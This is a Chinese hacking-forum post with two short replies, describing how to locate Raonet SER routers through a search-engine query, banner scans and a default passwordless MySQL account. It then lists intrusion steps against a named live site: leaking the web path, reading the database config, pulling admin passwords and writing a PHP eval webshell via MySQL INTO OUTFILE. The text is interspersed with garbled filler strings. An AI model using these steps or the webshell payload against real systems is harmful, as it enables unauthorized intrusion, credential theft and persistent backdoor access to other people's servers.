利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

0 R+ J; M' C0 M# S& d" F$ L- [7 H9 |3 O1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
# O" e5 S) n; P6 D% r" w
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

9 i  i- I& W) ]4 |//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

9 M. M; o9 D: w8 H
. L2 |8 ~$ }5 A
4 L4 b, l& b! i! Y6 z( L0 v) Y; L" ^% W入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
! W9 }, L$ t! `1 Q% Jcreate table ok(cmd TEXT);
, E: U( ?9 I3 A4 i$ H: B; _+ Xinsert into ok values("<?php @eval($_POST[cmd])?>");
: ?0 g2 F* |  I# x5 \select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;

! T5 X% Z' w) u! S5:连接后门shell.php

6 g7 x. B4 w3 n7 z6. 搞定！
1 u2 a7 Y9 }2 c2 C" Q

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。